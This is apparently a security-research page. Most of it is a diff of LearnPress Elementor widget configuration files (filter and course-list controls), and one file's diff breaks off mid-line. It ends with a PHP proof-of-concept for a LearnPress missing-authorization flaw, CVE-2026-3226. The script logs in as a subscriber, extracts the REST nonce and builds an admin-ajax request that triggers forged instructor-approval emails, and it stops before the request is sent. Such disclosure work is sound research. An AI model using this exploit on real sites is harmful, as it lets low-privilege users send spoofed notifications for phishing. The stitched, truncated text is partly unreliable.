- Controls_Manager::SLIDER,
- [
- 'size_units' => array( 'px', '%', 'custom' ),
- 'range' => array(
- 'px' => array(
- 'min' => 1,
- 'max' => 50,
- 'step' => 1,
- ),
- ),
- 'selectors' => array(
- '{{WRAPPER}} .selected-filter' => 'width: {{SIZE}}{{UNIT}};',
- ),
- ]
- ),
- ],
- [ 'text_display', 'text_shadow' ]
- )
- )
- )
-);
-
-
-return apply_filters(
- 'learn-press/elementor/course/filter-course-el',
- array_merge(
- apply_filters(
- 'learn-press/elementor/course/filter-course-el/tab-content',
- $content_fields
- ),
- apply_filters(
- 'learn-press/elementor/course/filter-course-el/tab-styles',
- $style_fields
- )
- )
-);
+<?php
+/**
+ * Elementor Controls for widget filter course settings.
+ *
+ * @since 4.2.5
+ * @version 1.0.0
+ */
+
+use ElementorControls_Manager;
+use ElementorGroup_Control_Border;
+use ElementorGroup_Control_Box_Shadow;
+use LearnPressExternalPluginElementorLPElementorControls;
+
+$content_fields = array_merge(
+ LPElementorControls::add_fields_in_section(
+ 'filter_area',
+ esc_html__( 'Filter Area', 'learnpress' ),
+ Controls_Manager::TAB_CONTENT,
+ [
+ LPElementorControls::add_control_type(
+ 'item_filter',
+ esc_html__( 'Fields', 'learnpress' ),
+ [
+ [
+ 'item_fields' => 'category',
+ ],
+ [
+ 'item_fields' => 'btn_submit',
+ ],
+ ],
+ Controls_Manager::REPEATER,
+ [
+ 'fields' => [
+ [
+ 'name' => 'item_fields',
+ 'label' => esc_html__( 'Filter By', 'learnpress' ),
+ 'type' => Controls_Manager::SELECT,
+ 'options' => array(
+ 'search' => esc_html__( 'Keyword', 'learnpress' ),
+ 'price' => esc_html__( 'Price', 'learnpress' ),
+ 'category' => esc_html__( 'Course Category', 'learnpress' ),
+ 'tag' => esc_html__( 'Course Tag', 'learnpress' ),
+ 'author' => esc_html__( 'Author', 'learnpress' ),
+ 'level' => esc_html__( 'Level', 'learnpress' ),
+ 'btn_submit' => esc_html__( 'Button Submit', 'learnpress' ),
+ 'btn_reset' => esc_html__( 'Button Reset', 'learnpress' ),
+ ),
+ ],
+ // [
+ // 'name' => 'type_source',
+ // 'label' => esc_html__( 'Type Source', 'learnpress' ),
+ // 'type' => Controls_Manager::SELECT,
+ // 'default' => 'checkbox',
+ // 'options' => array(
+ // 'checkbox' => esc_html__( 'Check Box', 'learnpress' ),
+ // 'dropdown' => esc_html__( 'Drop Down (Coming Soon)', 'learnpress' ),
+ // ),
+ // 'condition' => [
+ // 'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
+ // ],
+ // ],
+ [
+ 'name' => 'enable_count',
+ 'label' => esc_html__( 'Show Count', 'learnpress' ),
+ 'type' => Controls_Manager::SWITCHER,
+ 'default' => 'yes',
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
+ ],
+ ],
+ [
+ 'name' => 'heading_setting',
+ 'label' => esc_html__( 'Heading Setting', 'learnpress' ),
+ 'type' => Controls_Manager::POPOVER_TOGGLE,
+ 'label_off' => esc_html__( 'Default', 'learnpress' ),
+ 'label_on' => esc_html__( 'Custom', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'item_fields!' => [ 'btn_submit', 'btn_reset' ],
+ ],
+ ],
+ [ 'method' => 'start_popover' ],
+ [
+ 'name' => 'enable_heading',
+ 'label' => esc_html__( 'Enable Heading', 'learnpress' ),
+ 'type' => Controls_Manager::SWITCHER,
+ 'default' => 'yes',
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ ],
+ [
+ 'name' => 'toggle_content',
+ 'label' => esc_html__( 'Toggle Content', 'learnpress' ),
+ 'type' => Controls_Manager::SWITCHER,
+ 'default' => 'no',
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'enable_heading' => 'yes',
+ ],
+ ],
+ [
+ 'name' => 'default_toggle_on',
+ 'label' => esc_html__( 'Default Toggle On', 'learnpress' ),
+ 'type' => Controls_Manager::SWITCHER,
+ 'default' => 'yes',
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'enable_heading' => 'yes',
+ 'toggle_content' => 'yes',
+ ],
+ ],
+ [ 'method' => 'end_popover' ],
+ ],
+ 'prevent_empty' => false,
+ 'title_field' => '{{{ item_fields }}}',
+ ]
+ ),
+ ]
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'extra_option',
+ esc_html__( 'Extra Option', 'learnpress' ),
+ Controls_Manager::TAB_CONTENT,
+ [
+ LPElementorControls::add_control_type(
+ 'show_in_rest',
+ esc_html__( 'Load widget via REST', 'learnpress' ),
+ 'no',
+ Controls_Manager::SWITCHER,
+ [
+ 'label_on' => esc_html__( 'Yes', 'learnpress' ),
+ 'label_off' => esc_html__( 'No', 'learnpress' ),
+ 'return_value' => 'yes',
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'search_suggestion',
+ esc_html__( 'Enable Keyword Search Suggestion', 'learnpress' ),
+ '0',
+ Controls_Manager::SWITCHER,
+ [
+ '1' => esc_html__( 'Yes', 'learnpress' ),
+ '0' => esc_html__( 'No', 'learnpress' ),
+ 'return_value' => '1',
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'filter_toggle_button',
+ esc_html__( 'Filter Toggle Button', 'learnpress' ),
+ 'no',
+ Controls_Manager::POPOVER_TOGGLE,
+ [
+ 'label_on' => esc_html__( 'Yes', 'learnpress' ),
+ 'label_off' => esc_html__( 'No', 'learnpress' ),
+ 'return_value' => 'yes',
+ ]
+ ),
+ 'popover_start' => [
+ 'method' => 'start_popover',
+ ],
+ LPElementorControls::add_control_type(
+ 'enable_filter_button',
+ esc_html__( 'Filter Toggle Button', 'learnpress' ),
+ 'no',
+ Controls_Manager::SWITCHER,
+ [
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'text_filter_button',
+ esc_html__( 'Text Button', 'learnpress' ),
+ esc_html__( 'Filter', 'learnpress' ),
+ Controls_Manager::TEXT,
+ [
+ 'label_block' => false,
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'enable_icon_filter_button',
+ esc_html__( 'Button Icon', 'learnpress' ),
+ 'no',
+ Controls_Manager::SWITCHER,
+ [
+ 'label_on' => esc_html__( 'Show', 'learnpress' ),
+ 'label_off' => esc_html__( 'Hide', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'icon_filter_button',
+ esc_html__( 'Icon', 'learnpress' ),
+ [],
+ Controls_Manager::ICONS,
+ [
+ 'skin' => 'inline',
+ 'label_block' => false,
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ 'enable_icon_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ LPElementorControls::add_control_type_select(
+ 'icon_position',
+ esc_html__( 'Icon Position', 'learnpress' ),
+ [
+ 'left' => esc_html__( 'Before', 'learnpress' ),
+ 'right' => esc_html__( 'After', 'learnpress' ),
+ ],
+ 'left',
+ [
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ 'enable_icon_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ LPElementorControls::add_control_type(
+ 'filter_selected_number',
+ esc_html__( 'Filter Selected Number', 'learnpress' ),
+ 'yes',
+ Controls_Manager::SWITCHER,
+ [
+ 'label_on' => esc_html__( 'Yes', 'learnpress' ),
+ 'label_off' => esc_html__( 'No', 'learnpress' ),
+ 'return_value' => 'yes',
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ LPElementorControls::add_responsive_control_type(
+ "filter_section_width",
+ esc_html__( 'Width', 'learnpress' ),
+ [
+ 'size' => 300,
+ ],
+ Controls_Manager::SLIDER,
+ [
+ 'size_units' => array( 'px', '%', 'custom' ),
+ 'range' => array(
+ 'px' => array(
+ 'min' => 1,
+ 'max' => 1000,
+ 'step'=> 5
+ ),
+ ),
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter' => 'width: {{SIZE}}{{UNIT}};',
+ ),
+ 'condition' => [
+ 'enable_filter_button' => 'yes',
+ ]
+ ]
+ ),
+ 'popover_end' => [
+ 'method' => 'end_popover',
+ ],
+ LPElementorControls::add_control_type(
+ 'filter_selected_list',
+ esc_html__( 'Filter Selected List', 'learnpress' ),
+ 'no',
+ Controls_Manager::SWITCHER,
+ [
+ 'label_on' => esc_html__( 'Yes', 'learnpress' ),
+ 'label_off' => esc_html__( 'No', 'learnpress' ),
+ 'return_value' => 'yes',
+ ]
+ ),
+ ]
+ ),
+ []
+);
+
+$style_fields = array_merge(
+ LPElementorControls::add_fields_in_section(
+ 'filter_section',
+ esc_html__( 'Section', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ [
+ 'filter_section_margin' => LPElementorControls::add_responsive_control_type(
+ 'filter_section_margin',
+ esc_html__( 'Margin', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'filter_section_padding' => LPElementorControls::add_responsive_control_type(
+ 'filter_section_padding',
+ esc_html__( 'Padding', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'filter_section_border' => LPElementorControls::add_group_control_type(
+ 'filter_section_border',
+ Group_Control_Border::get_type(),
+ '{{WRAPPER}} .lp-form-course-filter'
+ ),
+ 'filter_section_background' => LPElementorControls::add_control_type_color(
+ 'filter_section_background',
+ esc_html__( 'Background', 'learnpress' ),
+ [ '{{WRAPPER}} .lp-form-course-filter' => 'background: {{VALUE}}' ]
+ ),
+ 'filter_section_radius' => LPElementorControls::add_responsive_control_type(
+ 'filter_section_radius',
+ esc_html__( 'Radius', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'filter_section_Shadow' => LPElementorControls::add_group_control_type(
+ 'filter_section_Shadow',
+ Group_Control_Box_Shadow::get_type(),
+ '{{WRAPPER}} .lp-form-course-filter'
+ ),
+ ]
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'filter_item',
+ esc_html__( 'Item', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ [
+ 'item_margin' => LPElementorControls::add_responsive_control_type(
+ 'item_margin',
+ esc_html__( 'Margin', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter__item' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'item_padding' => LPElementorControls::add_responsive_control_type(
+ 'item_padding',
+ esc_html__( 'Padding', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter__item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'item_border' => LPElementorControls::add_group_control_type(
+ 'item_border',
+ Group_Control_Border::get_type(),
+ '{{WRAPPER}} .lp-form-course-filter__item'
+ ),
+ 'item_background' => LPElementorControls::add_control_type_color(
+ 'layout_background',
+ esc_html__( 'Background', 'learnpress' ),
+ [ '{{WRAPPER}} .lp-form-course-filter__item' => 'background: {{VALUE}}' ]
+ ),
+ 'item_radius' => LPElementorControls::add_responsive_control_type(
+ 'item_radius',
+ esc_html__( 'Radius', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter__item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'toggle_offset_x' => LPElementorControls::add_responsive_control_type(
+ 'toggle_offset_x',
+ esc_html__( 'Toggle Offset X (px)', 'learnpress' ),
+ '',
+ Controls_Manager::NUMBER,
+ [
+ 'label_block' => false,
+ 'selectors' => array(
+ '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'right:{{VALUE}}px',
+ ),
+ ]
+ ),
+ 'toggle_offset_y' => LPElementorControls::add_responsive_control_type(
+ 'toggle_offset_y',
+ esc_html__( 'Toggle Offset Y (px)', 'learnpress' ),
+ '',
+ Controls_Manager::NUMBER,
+ [
+ 'label_block' => false,
+ 'selectors' => array(
+ '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'top:{{VALUE}}px',
+ ),
+ ]
+ ),
+ ]
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'filter_title',
+ esc_html__( 'Title', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ LPElementorControls::add_controls_style_text(
+ 'filter_title',
+ '.lp-form-course-filter .lp-form-course-filter__title',
+ [],
+ [ 'text_display','text_background', 'text_background_hover' ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'filter_content',
+ esc_html__( 'Label', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ array_merge(
+ LPElementorControls::add_controls_style_text(
+ 'filter_content',
+ '.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content label',
+ [],
+ [ 'text_display', 'text_shadow', 'text_background', 'text_background_hover' ]
+ ),
+ [
+ 'horizontal_align' => LPElementorControls::add_responsive_control_type(
+ 'horizontal_align',
+ esc_html__( 'Horizontal Align', 'learnpress' ),
+ '',
+ Controls_Manager::CHOOSE,
+ [
+ 'options' => [
+ 'row-reverse' => [
+ 'title' => esc_html__( 'Left', 'learnpress' ),
+ 'icon' => 'eicon-h-align-left',
+ ],
+ 'row' => [
+ 'title' => esc_html__( 'Right', 'learnpress' ),
+ 'icon' => 'eicon-h-align-right',
+ ],
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .lp-form-course-filter__item .lp-form-course-filter__content .lp-course-filter__field' => 'flex-direction: {{VALUE}};',
+ ],
+ ]
+ ),
+ ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'filter_count',
+ esc_html__( 'Count', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ LPElementorControls::add_controls_style_text(
+ 'filter_count',
+ '.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content .count',
+ [],
+ [ 'text_display','text_shadow', 'text_background', 'text_background_hover' ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'input_search',
+ esc_html__( 'Search', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ LPElementorControls::add_controls_style_button(
+ 'input_search',
+ '.lp-form-course-filter__content .lp-course-filter-search-field input',
+ [],
+ [ 'text_display','text_shadow', 'text_color_hover', 'text_background', 'text_background_hover' ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'btn_submit',
+ esc_html__( 'Button Submit', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ LPElementorControls::add_controls_style_button(
+ 'btn_submit',
+ '.course-filter-submit',
+ [
+ 'btn_submit_align' => LPElementorControls::add_responsive_control_type(
+ 'btn_submit_align',
+ esc_html__( 'Alignment', 'learnpress' ),
+ '',
+ Controls_Manager::CHOOSE,
+ [
+ 'options' => [
+ 'left' => [
+ 'title' => esc_html__( 'Left', 'learnpress' ),
+ 'icon' => 'eicon-text-align-left',
+ ],
+ 'center' => [
+ 'title' => esc_html__( 'Center', 'learnpress' ),
+ 'icon' => 'eicon-text-align-center',
+ ],
+ 'right' => [
+ 'title' => esc_html__( 'Right', 'learnpress' ),
+ 'icon' => 'eicon-text-align-right',
+ ],
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .course-filter-submit' => 'text-align: {{VALUE}};',
+ ],
+ ]
+ ),
+ 'btn_submit_width' => LPElementorControls::add_responsive_control_type(
+ 'btn_submit_width',
+ esc_html__( 'Width', 'learnpress' ),
+ [],
+ Controls_Manager::SLIDER,
+ [
+ 'size_units' => array( 'px', '%', 'custom' ),
+ 'range' => array(
+ 'px' => array(
+ 'min' => 1,
+ 'max' => 500,
+ 'step' => 5,
+ ),
+ ),
+ 'selectors' => array(
+ '{{WRAPPER}} .course-filter-submit' => 'width: {{SIZE}}{{UNIT}};',
+ ),
+ ]
+ ),
+ ],
+ [ 'text_display' ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'btn_reset',
+ esc_html__( 'Button Reset', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ LPElementorControls::add_controls_style_button(
+ 'btn_reset',
+ '.course-filter-reset',
+ [
+ 'btn_reset_align' => LPElementorControls::add_responsive_control_type(
+ 'btn_reset_align',
+ esc_html__( 'Alignment', 'learnpress' ),
+ '',
+ Controls_Manager::CHOOSE,
+ [
+ 'options' => [
+ 'left' => [
+ 'title' => esc_html__( 'Left', 'learnpress' ),
+ 'icon' => 'eicon-text-align-left',
+ ],
+ 'center' => [
+ 'title' => esc_html__( 'Center', 'learnpress' ),
+ 'icon' => 'eicon-text-align-center',
+ ],
+ 'right' => [
+ 'title' => esc_html__( 'Right', 'learnpress' ),
+ 'icon' => 'eicon-text-align-right',
+ ],
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .course-filter-reset' => 'text-align: {{VALUE}};',
+ ],
+ ]
+ ),
+ 'btn_reset_width' => LPElementorControls::add_responsive_control_type(
+ 'btn_reset_width',
+ esc_html__( 'Width', 'learnpress' ),
+ [],
+ Controls_Manager::SLIDER,
+ [
+ 'size_units' => array( 'px', '%', 'custom' ),
+ 'range' => array(
+ 'px' => array(
+ 'min' => 1,
+ 'max' => 500,
+ 'step' => 5,
+ ),
+ ),
+ 'selectors' => array(
+ '{{WRAPPER}} .course-filter-reset' => 'width: {{SIZE}}{{UNIT}};',
+ ),
+ ]
+ ),
+ 'btn_reset_position' => LPElementorControls::add_control_type_select(
+ 'btn_reset_position',
+ esc_html__( 'Position', 'learnpress' ),
+ [
+ 'static' => esc_html__( 'Static', 'learnpress' ),
+ 'absolute' => esc_html__( 'Absolute', 'learnpress' ),
+ ],
+ 'static',
+ [
+ 'selectors' => [
+ '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'position: {{VALUE}};',
+ ],
+ ]
+ ),
+ 'reset_offset_x' => LPElementorControls::add_responsive_control_type(
+ 'reset_offset_x',
+ esc_html__( 'Offset X (px)', 'learnpress' ),
+ '',
+ Controls_Manager::NUMBER,
+ [
+ 'label_block' => false,
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'right:{{VALUE}}px',
+ ),
+ 'condition' => [
+ 'btn_reset_position' => 'absolute',
+ ],
+ ]
+ ),
+ 'reset_offset_y' => LPElementorControls::add_responsive_control_type(
+ 'reset_offset_y',
+ esc_html__( 'Offset Y (px)', 'learnpress' ),
+ '',
+ Controls_Manager::NUMBER,
+ [
+ 'label_block' => false,
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'top:{{VALUE}}px',
+ ),
+ 'condition' => [
+ 'btn_reset_position' => 'absolute',
+ ],
+ ]
+ ),
+ ],
+ [ 'text_display' ]
+ )
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'btn_popup',
+ esc_html__( 'Button Popup', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ array_merge(
+ LPElementorControls::add_controls_style_button(
+ 'btn_popup',
+ '.lp-button-popup',
+ [
+ 'btn_popup_align' => LPElementorControls::add_responsive_control_type(
+ 'btn_popup_align',
+ esc_html__( 'Alignment', 'learnpress' ),
+ '',
+ Controls_Manager::CHOOSE,
+ [
+ 'options' => [
+ 'left' => [
+ 'title' => esc_html__( 'Left', 'learnpress' ),
+ 'icon' => 'eicon-text-align-left',
+ ],
+ 'center' => [
+ 'title' => esc_html__( 'Center', 'learnpress' ),
+ 'icon' => 'eicon-text-align-center',
+ ],
+ 'right' => [
+ 'title' => esc_html__( 'Right', 'learnpress' ),
+ 'icon' => 'eicon-text-align-right',
+ ],
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .lp-button-popup' => 'text-align: {{VALUE}};',
+ ],
+ ]
+ ),
+ 'btn_popup_width' => LPElementorControls::add_responsive_control_type(
+ 'btn_popup_width',
+ esc_html__( 'Width', 'learnpress' ),
+ [],
+ Controls_Manager::SLIDER,
+ [
+ 'size_units' => array( 'px', '%', 'custom' ),
+ 'range' => array(
+ 'px' => array(
+ 'min' => 1,
+ 'max' => 500,
+ 'step' => 5,
+ ),
+ ),
+ 'selectors' => array(
+ '{{WRAPPER}} .lp-button-popup' => 'width: {{SIZE}}{{UNIT}};',
+ ),
+ ]
+ ),
+ ],
+ [ 'text_display' ]
+ ),
+ [
+ 'heading_selected_list' => LPElementorControls::add_control_type(
+ 'heading_selected_list',
+ esc_html__( 'Selected List', 'learnpress' ),
+ '',
+ Controls_Manager::HEADING,
+ [
+ 'separator' => 'before',
+ ]
+ ),
+ ],
+ LPElementorControls::add_controls_style_button(
+ 'selected_list',
+ '.selected-list span',
+ [],
+ [ 'text_display', 'text_shadow' ]
+ ),
+ [
+ 'heading_selected_number' => LPElementorControls::add_control_type(
+ 'heading_selected_number',
+ esc_html__( 'Selected Number', 'learnpress' ),
+ '',
+ Controls_Manager::HEADING,
+ [
+ 'separator' => 'before',
+ ]
+ ),
+ ],
+ LPElementorControls::add_controls_style_button(
+ 'selected_number',
+ '.selected-filter',
+ [
+ 'selected_number_width' => LPElementorControls::add_responsive_control_type(
+ 'selected_number_width',
+ esc_html__( 'Width', 'learnpress' ),
+ [],
+ Controls_Manager::SLIDER,
+ [
+ 'size_units' => array( 'px', '%', 'custom' ),
+ 'range' => array(
+ 'px' => array(
+ 'min' => 1,
+ 'max' => 50,
+ 'step' => 1,
+ ),
+ ),
+ 'selectors' => array(
+ '{{WRAPPER}} .selected-filter' => 'width: {{SIZE}}{{UNIT}};',
+ ),
+ ]
+ ),
+ ],
+ [ 'text_display', 'text_shadow' ]
+ )
+ )
+ )
+);
+
+
+return apply_filters(
+ 'learn-press/elementor/course/filter-course-el',
+ array_merge(
+ apply_filters(
+ 'learn-press/elementor/course/filter-course-el/tab-content',
+ $content_fields
+ ),
+ apply_filters(
+ 'learn-press/elementor/course/filter-course-el/tab-styles',
+ $style_fields
+ )
+ )
+);
--- a/learnpress/config/elementor/course/list-courses-by-page.php
+++ b/learnpress/config/elementor/course/list-courses-by-page.php
@@ -1,200 +1,200 @@
-<?php
-/**
- * Elementor Controls for widget Courses.
- *
- * @since 4.2.3
- * @version 1.0.1
- */
-
-use ElementorControls_Manager;
-use LearnPressExternalPluginElementorLPElementorControls;
-use LearnPressModelsCourses;
-
-$option_data = [];
-if ( isset( $options ) ) {
- $option_data = $options;
-}
-
-$filter = new LP_Course_Filter();
-$filter->limit = - 1;
-$filter->only_fields = array( 'ID', 'post_title' );
-$filter->post_status = [ 'publish' ];
-$courses_obj = (array) Courses::get_courses( $filter );
-$courses = [];
-$categories = [];
-
-// Only show courses and categories in Admin
-if ( is_admin() ) {
- foreach ( $courses_obj as $course ) {
- $courses[ $course->ID ] = $course->post_title;
- }
-
- $categories_obj = LP_Course::get_all_categories();
- foreach ( $categories_obj as $category ) {
- $categories[ $category->term_id ] = $category->name;
- }
-}
-
-// Fields tab content
-$content_fields = array_merge(
- LPElementorControls::add_fields_in_section(
- 'skin',
- esc_html__( 'Skin', 'learnpress' )
- ),
- LPElementorControls::add_fields_in_section(
- 'option_load_rest_api',
- esc_html__( 'Option load REST API', 'learnpress' ),
- Controls_Manager::TAB_CONTENT,
- [
- 'courses_rest' => LPElementorControls::add_control_type(
- 'courses_rest',
- 'Courses REST API enable',
- 'no',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- 'default' => 'no',
- ]
- ),
- 'courses_rest_no_load_page' => LPElementorControls::add_control_type(
- 'courses_rest_no_load_page',
- 'Courses REST no load page',
- 'yes',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- 'default' => 'no',
- 'condition' => [
- 'courses_rest' => 'yes',
- ],
- ]
- ),
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'layout',
- esc_html__( 'Layout', 'learnpress' ),
- Controls_Manager::TAB_CONTENT,
- [
- 'el_result_count' => LPElementorControls::add_control_type(
- 'el_result_count',
- 'Show result count',
- 'yes',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- 'default' => 'yes',
- ]
- ),
- 'el_sorting' => LPElementorControls::add_control_type(
- 'el_sorting',
- 'Show sorting',
- 'yes',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__(
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3226 - LearnPress <= 4.3.2.8 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Email Notification Triggering
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate to obtain session cookies and wp_rest nonce
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url),
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Load a frontend page to extract the wp_rest nonce from JavaScript
$frontend_url = str_replace('/wp-admin/admin-ajax.php', '/', $target_url);
curl_setopt($ch, CURLOPT_URL, $frontend_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
preg_match('/"wp_rest":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Failed to extract wp_rest nonce. Ensure the user is authenticated and LearnPress is active.');
}
// Step 3: Exploit the missing authorization to trigger an email notification
// The lp_ajax parameter can be any of the 10 functions in SendEmailAjax class
// Example: send_email_instructor_request (triggers email about instructor status request)
$post_data = [
'action' => 'lp_ajax',
'lp_ajax' => 'send_email_instructor_request',
'wp_rest' => $nonce,
'instructor_id' => '1', // Target instructor ID
'status' => 'approved', // Fake admin decision
'message' => 'Your instructor request has been approved.' // Social engineering payload
];
